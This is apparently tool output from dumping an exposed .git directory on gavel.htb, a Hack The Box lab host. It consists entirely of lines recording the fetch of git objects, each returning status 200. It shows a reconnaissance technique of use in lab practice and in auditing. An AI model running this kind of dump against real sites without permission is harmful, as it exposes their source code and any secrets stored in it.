[-] Fetching http://gavel.htb/.git/objects/c8/3ff89940cbea2d1a3eed4de28a9f030113b9e7 [200]
[-] Fetching http://gavel.htb/.git/objects/c8/4b11e9686460e51d5da0fdef2eb24b507d4c41 [200]
[-] Fetching http://gavel.htb/.git/objects/c8/142cbbe79dd94db2d4c4fa1aa4363bc5d6905b [200]
[-] Fetching http://gavel.htb/.git/objects/c8/966ca27da48115de2bf38ad5dd3929758a26c8 [200]
[-] Fetching http://gavel.htb/.git/objects/c8/c4274c40956310d9814993badecac54942b9a5 [200]
[-] Fetching http://gavel.htb/.git/objects/c8/c9682a6f99a94b655470550320063ee04ec72d [200]
[-] Fetching http://gavel.htb/.git/objects/c8/dcf5233506231be3c0bcaf2b32120e2a259258 [200]
[-] Fetching http://gavel.htb/.git/objects/c8/e03ad34f55554443c63bd3829c400f1c2259b4 [200]
[-] Fetching http://gavel.htb/.git/objects/ca/9b3163d8f4c1deadcec4e5669a97f35cf53d72 [200]
[-] Fetching http://gavel.htb/.git/objects/ca/2d30de98cefad08405d6a5b85babba2cc4a1ed [200]
[-] Fetching http://gavel.htb/.git/objects/ca/136e3cacb4032766defa2f6e1bea42aeee3ae4 [200]
[-] Fetching http://gavel.htb/.git/objects/ca/e30ed95fe5a16d2e037ad9ec5be3eeae09bacc [200]
[-] Fetching http://gavel.htb/.git/objects/ca/fcb7e3bafc62bda44e33a7b7183daa62963264 [200]
[-] Fetching http://gavel.htb/.git/objects/c9/3c29eb3c696c2ab446e66c776546a49bcd212f [200]
[-] Fetching http://gavel.htb/.git/objects/c8/9e7607bafd970f3560798b2df75afb065b32b5 [200]
[-] Fetching http://gavel.htb/.git/objects/c9/7cadae5b0ebfbf40106f3547cdfc8953ee58d5 [200]
[-] Fetching http://gavel.htb/.git/objects/c9/7f09f5fca238bf1c028d0a48dc2d31e0955466 [200]
[-] Fetching http://gavel.htb/.git/objects/c9/65bffb9472a0be29e74f1eca6aff905f8be95f [200]
[-] Fetching http://gavel.htb/.git/objects/c9/16c8d9a670297a1edd3c2556c00ccd5be68dc1 [200]
[-] Fetching http://gavel.htb/.git/objects/c9/2615f9bdb73721dd1534511cbd8d0702f0960b [200]
[-] Fetching http://gavel.htb/.git/objects/c9/34558bc34cb51828a85c33e5dd0604df2de643 [200]
[-] Fetching http://gavel.htb/.git/objects/c9/dc962abe7e35fab24df2e79b7a1a7569edd3a8 [200]
[-] Fetching http://gavel.htb/.git/objects/cc/01bb0546e24c681b1c57451c574e33f6c38cb6 [200]
[-] Fetching http://gavel.htb/.git/objects/cc/75fc21b7e243d89b3dd967a14840a44636c63f [200]
[-] Fetching http://gavel.htb/.git/objects/cc/454b9727f745441af72bd2a12da44c5feac4f8 [200]
[-] Fetching http://gavel.htb/.git/objects/cc/928ba9b947a1acaa21511ba15cc7dbf1815809 [200]
[-] Fetching http://gavel.htb/.git/objects/cc/7507d2db727bee7cc252c7a2d30a19596bca42 [200]
[-] Fetching http://gavel.htb/.git/objects/cc/6680e9043731f17a342f1965cb2486ab9b47ab [200]
[-] Fetching http://gavel.htb/.git/objects/cc/d43bd0cdb3ff7c7339388b627e7e3eb3556ab6 [200]
[-] Fetching http://gavel.htb/.git/objects/cb/7a8cf80fbb490c57fc6d75bfda1e16dbdfd5f2 [200]
[-] Fetching http://gavel.htb/.git/objects/cb/1c85d2502d0f2a714cef0e0afbd3c6d356ee4a [200]
[-] Fetching http://gavel.htb/.git/objects/cb/8d41a01f0d492074a58faae9d2cf5ff5ed53fb [200]
[-] Fetching http://gavel.htb/.git/objects/cb/16eb1df948ccdc398cfbd92b1a95259cf7dfd8 [200]
[-] Fetching http://gavel.htb/.git/objects/cb/882b993cfe1b7022d99aca6e7a1ed8f68df03c [200]
[-] Fetching http://gavel.htb/.git/objects/cb/8df11cb0ea7189449cb24e3daf9b74259ad3eb [200]
[-] Fetching http://gavel.htb/.git/objects/cb/227802975caecf0b9c40e2730160857a54928d [200]
[-] Fetching http://gavel.htb/.git/objects/cb/d4cf7c155150728bb72fb58b8515e1fad1c062 [200]
[-] Fetching http://gavel.htb/.git/objects/ce/1a3add19111517faa5468179df882b61bcbbc6 [200]
[-] Fetching http://gavel.htb/.git/objects/ce/f489e63f15436b6d00c78501277a30b6f9e78d [200]
[-] Fetching http://gavel.htb/.git/objects/ce/b585e5b92b5099557e883ba3aa30ef99ccb421 [200]
[-] Fetching http://gavel.htb/.git/objects/ce/f3310d8dcb0f38adab28bdb780a155d3fd5f76 [200]
[-] Fetching http://gavel.htb/.git/objects/c2/6fb7fa0a1dda04f56c3e2f061f5f14e5958132 [200]
[-] Fetching http://gavel.htb/.git/objects/c2/7f11bde0af44d216d6a4055b15e31a215a342b [200]
[-] Fetching http://gavel.htb/.git/objects/c2/9e5dca5b4d400a41b597aae64a6a8ea422f0dc [200]
[-] Fetching http://gavel.htb/.git/objects/c2/91458e4f8b954c5d18fef907e2c8cd31b950e6 [200]
[-] Fetching http://gavel.htb/.git/objects/c2/3336011b120d98f86983c49265051117bee6dd [200]
[-] Fetching http://gavel.htb/.git/objects/c2/c25c79a924293a9af4168380af3af1da728f02 [200]
[-] Fetching http://gavel.htb/.git/objects/c2/f41f4cf140c4f35cdb8f7d17335dad71e15666 [200]
[-] Fetching http://gavel.htb/.git/objects/c2/f39911037fb3c5c8de4f0a6c035d66771000cc [200]
[-] Fetching http://gavel.htb/.git/objects/c2/c911a91258ef575ef749e9f519516703bb6130 [200]
[-] Fetching http://gavel.htb/.git/objects/d0/5ea581fbbf17eb0d3139f9937ac6a8fde98685 [200]
[-] Fetching http://gavel.htb/.git/objects/d0/217c92b1a2e61827b4da712331d3358d30db7e [200]
[-] Fetching http://gavel.htb/.git/objects/d0/aeb11c60a454d83ff21a78acabcd864f1480ac [200]
[-] Fetching http://gavel.htb/.git/objects/d0/b9b3b48082e4a4b4ff8889d85eb7d21c33914e [200]
[-] Fetching http://gavel.htb/.git/objects/d0/c63ff80a122b9b12b784fbb0fbc5a2c6d130cf [200]
[-] Fetching http://gavel.htb/.git/objects/d0/c8f9f16bab7bce3e9c60d225ffde222c213cfa [200]
[-] Fetching http://gavel.htb/.git/objects/d0/e54562b632672221fe0336b6f4fb2e3736857d [200]
[-] Fetching http://gavel.htb/.git/objects/d0/def04ad383aa95b0fee1b48b248d0f5698bbc3 [200]
[-] Fetching http://gavel.htb/.git/objects/d1/0617b6de8de563ee0deae679bc5a92aaabcedc [200]
[-] Fetching http://gavel.htb/.git/objects/d1/6b0fb8a9b427a5e85c8ff388e86dfac2626345 [200]
[-] Fetching http://gavel.htb/.git/objects/d1/878fbcdb57799bd0dfa3ee5e3968129aebe1b0 [200]
[-] Fetching http://gavel.htb/.git/objects/d1/86f99e945d4e1bf60cb8d440b4f6b42f177552 [200]
[-] Fetching http://gavel.htb/.git/objects/d1/4837e8cae2a41845433f5d324fdf5f08534486 [200]
[-] Fetching http://gavel.htb/.git/objects/d1/753445c94d8ad2633f57097575c14ff4bff1c3 [200]
[-] Fetching http://gavel.htb/.git/objects/d1/ac9ba1169e4076832034c5585e1c5bf9d6f83c [200]
[-] Fetching http://gavel.htb/.git/objects/d1/ce7cf9049d05f0c07adb3fa769dcafbd7658b3 [200]
[-] Fetching http://gavel.htb/.git/objects/d1/d7f7f6baeec649bfcccd7eea5a9c4f8f0ef596 [200]
[-] Fetching http://gavel.htb/.git/objects/d3/0c956cc8ee42196044d39aa785db24d1751d35 [200]
[-] Fetching http://gavel.htb/.git/objects/d3/5d940353969e9c07e0513ee7eaf22f20382684 [200]
[-] Fetching http://gavel.htb/.git/objects/d3/7cb6a9b2440217c59860076f4eea9d5db236fe [200]
[-] Fetching http://gavel.htb/.git/objects/d3/918c12fd47e0c225e5494818ea653c01d4c524 [200]
[-] Fetching http://gavel.htb/.git/objects/d3/8f0b432b56c9fdb209fd1f8a8a8daeffd4d6c4 [200]
[-] Fetching http://gavel.htb/.git/objects/d3/c63320c14d144a94dd70fd051f3baec176fcde [200]
[-] Fetching http://gavel.htb/.git/objects/d3/f2b798f089db9ffdb98190f624befde280d24f [200]
[-] Fetching http://gavel.htb/.git/objects/d2/8dbfc8ae1d866f72fcaf8da41a7ee7ad25063b [200]
[-] Fetching http://gavel.htb/.git/objects/d2/1fb68d090c644d629201b5c7a7498c06d95f26 [200]
[-] Fetching http://gavel.htb/.git/objects/d2/604b9aa9de6a9e7a6f2d536510c073baa998f4 [200]
[-] Fetching http://gavel.htb/.git/objects/d2/22a6ae80d927a5c2787824eac80232b8fe0054 [200]
[-] Fetching http://gavel.htb/.git/objects/d2/2215c0643c688d2d08126ed1af3256ae764042 [200]
[-] Fetching http://gavel.htb/.git/objects/d2/cb8099ac923fe54322626a5444c1484aa76df8 [200]
[-] Fetching http://gavel.htb/.git/objects/d2/d48640620bb4beb7be69f42b2ab308eac341b3 [200]
[-] Fetching http://gavel.htb/.git/objects/d2/d5d18028617a716710b9e1ff938fdf770e6619 [200]
[-] Fetching http://gavel.htb/.git/objects/d5/9f8ee97bf515a17b4bf1b136cbe206bb1ec026 [200]
[-] Fetching http://gavel.htb/.git/objects/d5/8d119ef129e1d80daefde8d9fc0f6600c1d054 [200]
[-] Fetching http://gavel.htb/.git/objects/d5/98f1c7e9d778188a570582c01aac92a42cd3f1 [200]
[-] Fetching http://gavel.htb/.git/objects/d5/377b8012b2794fa8c4107df0a4d1ebf556cead [200]
[-] Fetching http://gavel.htb/.git/objects/d5/774a0577671990d81c9af806a2902afd702a1f [200]
[-] Fetching http://gavel.htb/.git/objects/d5/c19832a940c96c019a145cee71d325d8159134 [200]
[-] Fetching http://gavel.htb/.git/objects/d5/3b3ca1b38e3048ec6b5cca5431229db95c3d45 [200]
[-] Fetching http://gavel.htb/.git/objects/d5/cb68568cff3f3b0db005afc5c159bc764304d2 [200]
[-] Fetching http://gavel.htb/.git/objects/d4/3ce2cc8f91f8478599b6bf749e2da718072e5d [200]
[-] Fetching http://gavel.htb/.git/objects/d4/8394c6a7c7a816bbf65b9905e8d371097ef153 [200]
[-] Fetching http://gavel.htb/.git/objects/d4/bbf8752b1b9e160df5aa12a30edb95d50f8aa4 [200]
[-] Fetching http://gavel.htb/.git/objects/d4/bcd8baacc7830cc3857fc4ce5b63e5b62a78cc [200]
[-] Fetching http://gavel.htb/.git/objects/d4/bfc12852077e4ff9faae18998e8d7467e5125d [200]
[-] Fetching http://gavel.htb/.git/objects/d4/c6d3e42b4b857e2dd48046b867bd614713d7e8 [200]
[-] Fetching http://gavel.htb/.git/objects/d4/c0c6c57f2dbabc99e44f31376a401ada7032ca [200]
[-] Fetching http://gavel.htb/.git/objects/d4/fd3128fcbf6f056bc8ddfbebd5418567842c5e [200]
[-] Fetching http://gavel.htb/.git/objects/d6/0b0948d6d7def40ed0dc3dfa01c600686f270f [200]
[-] Fetching http://gavel.htb/.git/objects/d6/0fde71d727a1c94b5bb22150ed53f41e72b690 [200]
[-] Fetching http://gavel.htb/.git/objects/d6/6a8ae5279d0c395d1af076229785801267089a [200]
[-] Fetching http://gavel.htb/.git/objects/d6/8eb3722b060e40f408cbf763cfcc7fe571b21d [200]
[-] Fetching http://gavel.htb/.git/objects/d6/235aa27ca6ff6dd5991328ca4c6b8ec791faeb [200]
[-] Fetching http://gavel.htb/.git/objects/d6/d572a0a93e81e18a96c2232a1831148edf52d8 [200]
[-] Fetching http://gavel.htb/.git/objects/cf/5b667908a2d58b98992950d7cbfcf924fef486 [200]
[-] Fetching http://gavel.htb/.git/objects/d6/e92de5ad1dfa2d2743008848cb0090c74cfac5 [200]
[-] Fetching http://gavel.htb/.git/objects/cf/8daffbac5c1615b2b93fe1f42b7931b71e5732 [200]
[-] Fetching http://gavel.htb/.git/objects/cf/28c69f416f4f8c3adbe18ed1a4a13fc20b4eb9 [200]
[-] Fetching http://gavel.htb/.git/objects/cf/480854386afdfd23ebe419483f825489c1d263 [200]
[-] Fetching http://gavel.htb/.git/objects/cf/a39e45f7540ae7e88afe42559b0a283f91d6e7 [200]
[-] Fetching http://gavel.htb/.git/objects/cf/f923c10a489043fd03ddbe6751018a0c8a8237 [200]
[-] Fetching http://gavel.htb/.git/objects/d6/4640f476d7e9bab52373ab1487228b3c2f2999 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/6d0b656f0aca5cbbc31a128f51fdfa888d370b [200]
[-] Fetching http://gavel.htb/.git/objects/cd/8a349f8761327644d1b0bbf95e10bf2c34426e [200]
[-] Fetching http://gavel.htb/.git/objects/cd/8ead3699f474d1b76186197ac5b11be170debb [200]
[-] Fetching http://gavel.htb/.git/objects/cd/55dc5d49741a00ed8523c28ee35faf591ca712 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/61f13b3531188c16b4391c2bc6486f88337141 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/48096219aa6caa0e16c0619fb7f900b0f62209 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/c2acf94a637a1fcf1c60c5b3881b135435de8d [200]
[-] Fetching http://gavel.htb/.git/objects/cd/ab7598a19630e65801584e884c9ee7a53b1337 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/c71352c5062970aeac03d68efe30e88e6647c4 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/d0ac896357c9b847116ef6f4a5f47dd8ffe426 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/dd1f1e07f1118f5305c13a42db87edb3e748f3 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/f6c115f3d378cebe5ebc27d9f32b6b8b949c8c [200]
[-] Fetching http://gavel.htb/.git/objects/da/02d7931b6d7aba1c3bf3f0fa019afefca0f954 [200]
[-] Fetching http://gavel.htb/.git/objects/cd/93bfe240869d111019e7f8e1f68112b5f53abd [200]
[-] Fetching http://gavel.htb/.git/objects/da/ac29930c725b1395b9c0317c1517728a3c6a12 [200]
[-] Fetching http://gavel.htb/.git/objects/da/c43451cd91c2df3363b1b870c9ce1a03f198d3 [200]
[-] Fetching http://gavel.htb/.git/objects/da/f31594fda72708f77f953318ba515348c4d4eb [200]
[-] Fetching http://gavel.htb/.git/objects/cd/d788752f9bbdaac3f9025f4144d7b0af4460ce [200]
[-] Fetching http://gavel.htb/.git/objects/d8/03b6558d3fec115776637ffb1dbcd9efd77a21 [200]
[-] Fetching http://gavel.htb/.git/objects/d8/4dce8fc7ab47be254e3196597b5cc6eb8fbef5 [200]
[-] Fetching http://gavel.htb/.git/objects/d8/9aa52a394079a6159dd445c950715279aca2db [200]
[-] Fetching http://gavel.htb/.git/objects/da/1d2b5442a6cb13ac4580235d130af33a0ac9dd [200]
[-] Fetching http://gavel.htb/.git/objects/d8/79f00eff5ee29235735a1e12a961b0b96b36cd [200]
[-] Fetching http://gavel.htb/.git/objects/d8/d9a333eff17d200d0cbc7e9f71664ff88f9ad8 [200]
[-] Fetching http://gavel.htb/.git/objects/d8/5044ef92cd6f5c9f18075aa7da6e843e76d05d [200]
[-] Fetching http://gavel.htb/.git/objects/d8/de48b03a70f41f7684a9a6808081228da9db79 [200]
[-] Fetching http://gavel.htb/.git/objects/d8/dea42b90f9a73eb86905aff838061893cb2170 [200]
[-] Fetching http://gavel.htb/.git/objects/d9/08068279c83869185196da6ce77a0701f439ad [200]
[-] Fetching http://gavel.htb/.git/objects/d9/221fb88044978140c49ba8671ef1461e7127bc [200]
[-] Fetching http://gavel.htb/.git/objects/d8/89dad9c0f75dd7086dc111fc389eb5b6ec19e7 [200]
[-] Fetching http://gavel.htb/.git/objects/d9/2672f5c7c32efe9adee6a67d5b121812d4b9d9 [200]
[-] Fetching http://gavel.htb/.git/objects/d9/40053a5e986d9f4b6fda5e5dcbf81f19161df2 [200]
[-] Fetching http://gavel.htb/.git/objects/d8/89133810301fd56c6f22892ffe35c90c932df0 [200]
[-] Fetching http://gavel.htb/.git/objects/d9/c0999f9d99ac584d8e19508b2f467acc01a8ba [200]
[-] Fetching http://gavel.htb/.git/objects/d9/70600b2017435b6009ef87b3e72e99ee591101 [200]
[-] Fetching http://gavel.htb/.git/objects/d9/c1a46e4cd7c3196b156ad35dc7a35a5cb2083c [200]
[-] Fetching http://gavel.htb/.git/objects/d9/cc8cbbfd3e0cf3791532462498f5326873664a [200]
[-] Fetching http://gavel.htb/.git/objects/d9/d8877c69f979c6c0007f4569db3755ee7e9f78 [200]
[-] Fetching http://gavel.htb/.git/objects/db/30bed8b9e093251df1b50271ea53905951421c [200]
[-] Fetching http://gavel.htb/.git/objects/db/5ec5cc67a7068909f9747722351575b97bc109 [200]
[-] Fetching http://gavel.htb/.git/objects/db/699a4b348a9a3c44790a60c56e277072a78179 [200]
[-] Fetching http://gavel.htb/.git/objects/db/70e73e473f8ed16d596ab0fd373f3423fc8512 [200]
[-] Fetching http://gavel.htb/.git/objects/db/33336488d97b1580dce21ba0ab5bad7798e3b3 [200]
[-] Fetching http://gavel.htb/.git/objects/db/33273a09a8700817e5faa532a6ad15c8a133db [200]
[-] Fetching http://gavel.htb/.git/objects/db/dabbbeb5f7ef89d2c5a26b5866ff543388c358 [200]
[-] Fetching http://gavel.htb/.git/objects/d9/ed78e53442f715ef2fbdc912f1daaa6ea0cd9e [200]
[-] Fetching http://gavel.htb/.git/objects/db/5a7eb4549ec1406985347113efa74287a2f219 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/06d7b2ca42975bf3d417c2fc9f8c3ba3d581f4 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/04e574135ffebcd0eab912906d57b0a1b74a9c [200]
[-] Fetching http://gavel.htb/.git/objects/dc/7c565cc823a18911e95cd0f42cb782e86f9d45 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/2f7ace845e2baf671c848d7e22ff2ee9b6ec34 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/88b3c4c9c8978dbbc90fc6ad0ac1b96fd72e64 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/27a94fcff8d0bb727aa82ac9e3f5361ce033d9 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/52d954d8d7f62c82cf63236d27093764a3d046 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/368d2505ea5fbbc63665cfd9dedb30be1b5a7d [200]
[-] Fetching http://gavel.htb/.git/objects/dc/a23a7509ce7e745fb76e786a5599b3c8b3c1f8 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/c10826a9fb09796342a94ef7149942aa6092a4 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/cc9c3bdd79fe3f31d856db018c3f01957e7bef [200]
[-] Fetching http://gavel.htb/.git/objects/dc/e459d0e5a832b08688e2331557535d60d8a171 [200]
[-] Fetching http://gavel.htb/.git/objects/dc/d6795b38924d2630f76a366413c0f40052ff0c [200]
[-] Fetching http://gavel.htb/.git/objects/dd/3d3817c7195e5faca078f92bcf0c01185d0cf7 [200]
[-] Fetching http://gavel.htb/.git/objects/dd/4fb72e30eeba517dfeb4f799160bbc5a3261ba [200]
[-] Fetching http://gavel.htb/.git/objects/dd/330abb9f63e29a4a40873b4a05dde1a5876de2 [200]
[-] Fetching http://gavel.htb/.git/objects/dd/646c5f9b4ba5126d83734f86963941d6d64971 [200]
[-] Fetching http://gavel.htb/.git/objects/dd/eefb75ea13902918bdd25ecd96f4999607d4ca [200]
[-] Fetching http://gavel.htb/.git/objects/de/5eb7b01ca70433c4137bdc3d176ec05568ae3f [200]
[-] Fetching http://gavel.htb/.git/objects/de/cb5c0f55681ebc619e29e75a722108d4b7a4d5 [200]
[-] Fetching http://gavel.htb/.git/objects/de/ddce8983c769d1d00cbe2f67e903823eca11cd [200]
[-] Fetching http://gavel.htb/.git/objects/e1/9c29ce782c731d559615428e3dc9ead2e9bd21 [200]
[-] Fetching http://gavel.htb/.git/objects/e1/32bef7d1f30de9ced754b8276bb689593642c4 [200]
[-] Fetching http://gavel.htb/.git/objects/e1/e271c00e31d309e9bab411caeef86d6d6d0d57 [200]
[-] Fetching http://gavel.htb/.git/objects/e1/f9a62c4783440c09f9f2447b4e8ae894217760 [200]
[-] Fetching http://gavel.htb/.git/objects/e1/ec7e063d515a5a2dd1ca6a4b532c109c6a82ee [200]
[-] Fetching http://gavel.htb/.git/objects/d7/76bad75cb7a9da81d6de415053b6c4e0755d6d [200]
[-] Fetching http://gavel.htb/.git/objects/d7/83db8cb36ec9159655b8f58f28926eeabc44a2 [200]
[-] Fetching http://gavel.htb/.git/objects/d7/461e8f0d70810e790b3b34a94aed319692a12d [200]
[-] Fetching http://gavel.htb/.git/objects/d7/2773609665d300ba3a047ba39b9acba72b9ea7 [200]
[-] Fetching http://gavel.htb/.git/objects/d7/2ebeaba7af6c98bafa2c7e7b899e424749b0b4 [200]
[-] Fetching http://gavel.htb/.git/objects/d7/b18eb04b604f44cef9f1d4a9655968fb500a3f [200]
[-] Fetching http://gavel.htb/.git/objects/e2/06474a83304c0cdb13feac7f718444fb07f527 [200]
[-] Fetching http://gavel.htb/.git/objects/e2/53b69d87efb5c68f85662af6cf43892b09a69a [200]
[-] Fetching http://gavel.htb/.git/objects/e2/b1da874c83b608f67cb3963f2b2b9a9b5875f0 [200]
[-] Fetching http://gavel.htb/.git/objects/e2/b6e07eea45cec6105606c4617e54159519d9b7 [200]
[-] Fetching http://gavel.htb/.git/objects/e2/c01b89a25df3ae8bd3aff4e530725aeaf981f3 [200]
[-] Fetching http://gavel.htb/.git/objects/e2/dcc73431c3b4c3900bd0aa337b1a539082b3e4 [200]
[-] Fetching http://gavel.htb/.git/objects/e2/f0b4c394dbfbeb633ca70bd35fced45a635308 [200]
[-] Fetching http://gavel.htb/.git/objects/e3/0c3f5868eac9de6815180148ca269678b24c2b [200]
[-] Fetching http://gavel.htb/.git/objects/e3/078f40b9489301f064c0d14e13852d4dc221a7 [200]
[-] Fetching http://gavel.htb/.git/objects/e3/8ad4cdad1d6de0d36efb88867bb35eac523487 [200]
[-] Fetching http://gavel.htb/.git/objects/e3/47adf8cdf35802557c3ad256d33e53314b23ae [200]
[-] Fetching http://gavel.htb/.git/objects/e3/186eb6c1c55a93fc3b4be4657703196203df22 [200]
[-] Fetching http://gavel.htb/.git/objects/e3/c70fceb2341098236f683b6a3c9b68fdc6f29b [200]
[-] Fetching http://gavel.htb/.git/objects/e3/d830cb95266ab493e3bb3c2ed3a01bec40aac0 [200]
[-] Fetching http://gavel.htb/.git/objects/e3/e095c0bd50e4616a8dd724151cd3bc9f54a618 [200]
[-] Fetching http://gavel.htb/.git/objects/e3/fa43eacd17d539411e663e7f8a8e728c6f391f [200]
[-] Fetching http://gavel.htb/.git/objects/e6/a93297a3caacf04c9b3d99308c62e77468dd48 [200]
[-] Fetching http://gavel.htb/.git/objects/e6/ed2463ebe74f8595cc991235111680209a2904 [200]
[-] Fetching http://gavel.htb/.git/objects/e6/2f22eeb10ea750f879e7c2ece70db5a8312747 [200]
[-] Fetching http://gavel.htb/.git/objects/e6/eae5335e7a7ade50b2148ac11eda99905debd8 [200]
[-] Fetching http://gavel.htb/.git/objects/e4/2f1158656b01ca982f470ca5eb78d524992d6b [200]
[-] Fetching http://gavel.htb/.git/objects/e4/3c70fbb4bb4046805b3a4147b96546041e2ec3 [200]
[-] Fetching http://gavel.htb/.git/objects/e4/4f53c7a6ba0e7d6aae5cfec41119712bf472c6 [200]
[-] Fetching http://gavel.htb/.git/objects/e4/76d6e89fc72d655ea5bce9a7f1864726107f89 [200]
[-] Fetching http://gavel.htb/.git/objects/e4/2800b59ffe5d17fb355d3d7d71a3bf98e0d6bd [200]
[-] Fetching http://gavel.htb/.git/objects/e4/1fc6775f5f67f8843594d1b6a06202232baafd [200]
[-] Fetching http://gavel.htb/.git/objects/e4/6941c5fc940d115d8ae4d8889df94703084a4c [200]
[-] Fetching http://gavel.htb/.git/objects/e3/e4c34a83428a428d47d25dae86f8f58eb2aa8d [200]
[-] Fetching http://gavel.htb/.git/objects/e4/fe9514bd829c86e0f1420d349a368c61add3ea [200]
[-] Fetching http://gavel.htb/.git/objects/e4/b68ef7c5885e1e5ead97af72b5f186fbd5ed7c [200]
[-] Fetching http://gavel.htb/.git/objects/e4/66760b3718d831c4036a39a6cbc67fcc475af8 [200]
[-] Fetching http://gavel.htb/.git/objects/e5/07fbc7f8df80fe7864b550e302fb7e948b9ecb [200]
[-] Fetching http://gavel.htb/.git/objects/e5/2a0cc2b4cf3e49cb09f61f1da697998ef3f5ab [200]
[-] Fetching http://gavel.htb/.git/objects/e5/67d359d7a70a62acad577eaeae5294da98f22d [200]
[-] Fetching http://gavel.htb/.git/objects/e5/614e4062239a6e09b600830718d3ea545755e1 [200]
[-] Fetching http://gavel.htb/.git/objects/e5/1054f1e90c19de241932423f3fe5926641dc1a [200]
[-] Fetching http://gavel.htb/.git/objects/e5/bc87b1fdcad383575c766e7a4c50be74063e89 [200]
[-] Fetching http://gavel.htb/.git/objects/e5/d449ba77d43011b5321f00957fb660e2ac77d2 [200]
[-] Fetching http://gavel.htb/.git/objects/e7/0bc2cb0e084243b45dc597260f12bc3b8b5d47 [200]
[-] Fetching http://gavel.htb/.git/objects/e4/6549dec8a4bb451e4104f230f7f84ba746d7c0 [200]
[-] Fetching http://gavel.htb/.git/objects/e7/95c12ac755551972588ad17825d6bfd55bf3be [200]
[-] Fetching http://gavel.htb/.git/objects/e7/c011153e9a1ba5bcbf1ec88b1b60b9d06d2362 [200]
[-] Fetching http://gavel.htb/.git/objects/e7/e0e7e9cecc732e583627abe6076ec8a22d58fd [200]
[-] Fetching http://gavel.htb/.git/objects/e7/ee430142a4b616fd38814e03df62e04a51a5b7 [200]
[-] Fetching http://gavel.htb/.git/objects/ea/03f05c07d2a36ecb015aa041585f13fc20ef4a [200]
[-] Fetching http://gavel.htb/.git/objects/ea/6ef5db8b3ce0c44769c62fbbf14e365d4f73b4 [200]
[-] Fetching http://gavel.htb/.git/objects/ea/1887196e20e25dd2e03c7b8219bd86cddbb008 [200]
[-] Fetching http://gavel.htb/.git/objects/ea/a286e5e069704211841414f7c21d15b94461b6 [200]
[-] Fetching http://gavel.htb/.git/objects/ea/f52a98ef39f7902eb74a3a30dc4b7953510c18 [200]
[-] Fetching http://gavel.htb/.git/objects/ea/e738d5e35ab74714b269c11061aa370da05bd9 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/6c49da5415fc6ba65bc73d5aaee74f601bba27 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/37bfc7cfeeba1d5653e7f543dbdef6950a8689 [200]
[-] Fetching http://gavel.htb/.git/objects/e5/515e9eecb149f69fd098cbe5dcecc796799ee3 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/695d07a90e7c29df51b01fc4b4ab59270e68ed [200]
[-] Fetching http://gavel.htb/.git/objects/e8/c2ff3898a483997cdd2d1c62b07033c3fe2376 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/c321401389d92c5b44bc1717c580991e4570b0 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/5805ff82925cac68e56d76e25c15856622b969 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/d4ef59a060edcb70cfcbe2c3bd17cba2881e51 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/e973dda59b65a87b6f65b4847cf59bd8d170fe [200]
[-] Fetching http://gavel.htb/.git/objects/e5/47bf2c1548a6f0fc6b756b2049fc98d67e9fda [200]
[-] Fetching http://gavel.htb/.git/objects/eb/2cb5600f6b050a9521094424b87ce1c6f9a1ab [200]
[-] Fetching http://gavel.htb/.git/objects/eb/3ece9cbed95ebf637f33262a29fe24e3674bff [200]
[-] Fetching http://gavel.htb/.git/objects/eb/54c89d8bc5c8fcd1144bbcd164197b4ea8621c [200]
[-] Fetching http://gavel.htb/.git/objects/eb/869fd5ab992f348718c8fc1a1c27986f1ac03f [200]
[-] Fetching http://gavel.htb/.git/objects/eb/4761fbf3d5332b26c9903e3572176df3bca11c [200]
[-] Fetching http://gavel.htb/.git/objects/eb/a1e1bd32a7f3684cc6257731240a0c154a1f31 [200]
[-] Fetching http://gavel.htb/.git/objects/ea/852dc53b86bfc238c34182a1ed209ed9372426 [200]
[-] Fetching http://gavel.htb/.git/objects/eb/d7b1bfb832f79b11dc89b7691149d16bb112a3 [200]
[-] Fetching http://gavel.htb/.git/objects/ec/9cb5a4bfd9e8c3a7dd65b5c66ac5c8f7ad0ea5 [200]
[-] Fetching http://gavel.htb/.git/objects/ec/8d75e807fd1f4020a57171caa7d891144c6868 [200]
[-] Fetching http://gavel.htb/.git/objects/ec/838555087c6088a6c9c140808904d6d81585e4 [200]
[-] Fetching http://gavel.htb/.git/objects/ec/25ba8a1f09757f2e5a42b7fb490ca60d6ab36e [200]
[-] Fetching http://gavel.htb/.git/objects/ec/7a5cc50754f884f9106db665671e4c9b23b1db [200]
[-] Fetching http://gavel.htb/.git/objects/ec/b06cf598081ee3b13bbccdc48ed00654f5feaf [200]
[-] Fetching http://gavel.htb/.git/objects/ec/cb03121a209d12d32b8b1fb37d6eae30985e71 [200]
[-] Fetching http://gavel.htb/.git/objects/ec/f3adb5494ac5bef3b79bd150e6ced9413309f2 [200]
[-] Fetching http://gavel.htb/.git/objects/ec/f5cf4e2a48e26454f8aaf07c3183977fe3d66b [200]
[-] Fetching http://gavel.htb/.git/objects/ee/2dad3e30bb9b6e79a40911341ff7c59448ccb6 [200]
[-] Fetching http://gavel.htb/.git/objects/ee/41d98ff6f7fe3875f6e5f3d4429d5718008c09 [200]
[-] Fetching http://gavel.htb/.git/objects/ee/92a099996ee816934a452f41a9b1f4f1dbf594 [200]
[-] Fetching http://gavel.htb/.git/objects/ee/df4689580265626997bff304246ebaed05abc5 [200]
[-] Fetching http://gavel.htb/.git/objects/ee/e0cab09527607e12f0d4db0c0d08beb52f94fe [200]
